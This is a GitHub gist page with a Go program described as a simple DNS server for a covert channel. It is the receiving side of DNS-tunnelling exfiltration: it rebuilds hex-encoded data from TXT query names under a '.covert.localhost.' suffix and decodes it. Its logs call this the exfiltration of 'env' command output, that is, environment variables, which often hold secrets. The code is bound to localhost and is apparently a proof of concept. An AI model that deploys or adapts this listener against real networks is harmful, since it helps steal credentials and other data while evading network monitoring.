Skip to content

Instantly share code, notes, and snippets.

@Xumeiquer
Last active November 18, 2018 23:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Xumeiquer/88461570f7b3fe060d2124970fe77eff to your computer and use it in GitHub Desktop.
Save Xumeiquer/88461570f7b3fe060d2124970fe77eff to your computer and use it in GitHub Desktop.
Simple DNS Server to perform covert channel
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"strings"
"github.com/miekg/dns"
)
const (
server = "127.0.0.1:5353"
covertChannel = ".covert.localhost."
)
var (
verbose = false
onProcess = false
data = ""
)
func init() {
flag.BoolVar(&verbose, "verbose", verbose, "Verbose")
flag.Parse()
}
func processData() {
dataByte, err := hex.DecodeString(data)
if err != nil {
log.Printf("%s\n", err.Error())
}
fmt.Println("##### DECODED DATA #####")
fmt.Println(string(dataByte))
fmt.Println("########################")
data = ""
}
func parseQuery(m *dns.Msg) {
for _, q := range m.Question {
switch q.Qtype {
case dns.TypeTXT:
if verbose {
log.Printf("TXT Query for %s\n", q.Name)
}
if strings.HasPrefix(q.Name, "init.env") {
if verbose {
log.Println("Identified preamble")
}
onProcess = true
rr, err := dns.NewRR(fmt.Sprintf("%s TXT %s", q.Name, "ok"))
if err == nil {
if verbose {
log.Println("Exfiltration started for 'env' command")
}
m.Answer = append(m.Answer, rr)
}
}
if onProcess {
if !strings.HasPrefix(q.Name, "init.env") &&
!strings.HasPrefix(q.Name, "done.env") &&
strings.HasSuffix(q.Name, covertChannel) {
dataEnc := strings.TrimSuffix(q.Name, covertChannel)
data = fmt.Sprintf("%s%s", data, dataEnc)
rr, err := dns.NewRR(fmt.Sprintf("%s TXT %s", q.Name, "ok"))
if err == nil {
m.Answer = append(m.Answer, rr)
}
}
}
if strings.HasPrefix(q.Name, "done.env") {
if verbose {
log.Println("Identified epilogue")
}
onProcess = false
processData()
rr, err := dns.NewRR(fmt.Sprintf("%s TXT %s", q.Name, "ok"))
if err == nil {
if verbose {
log.Println("Exfiltration ended for 'env' command")
}
m.Answer = append(m.Answer, rr)
}
}
}
}
}
func handleDNSRequest(w dns.ResponseWriter, r *dns.Msg) {
m := new(dns.Msg)
m.SetReply(r)
m.Compress = false
switch r.Opcode {
case dns.OpcodeQuery:
parseQuery(m)
}
w.WriteMsg(m)
}
func main() {
dns.HandleFunc(".", handleDNSRequest)
dnsServer := &dns.Server{Addr: server, Net: "udp"}
log.Printf("Starting DNS server at %s\n", server)
err := dnsServer.ListenAndServe()
defer dnsServer.Shutdown()
if err != nil {
log.Fatalf("Failed to start server: %s\n ", err.Error())
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment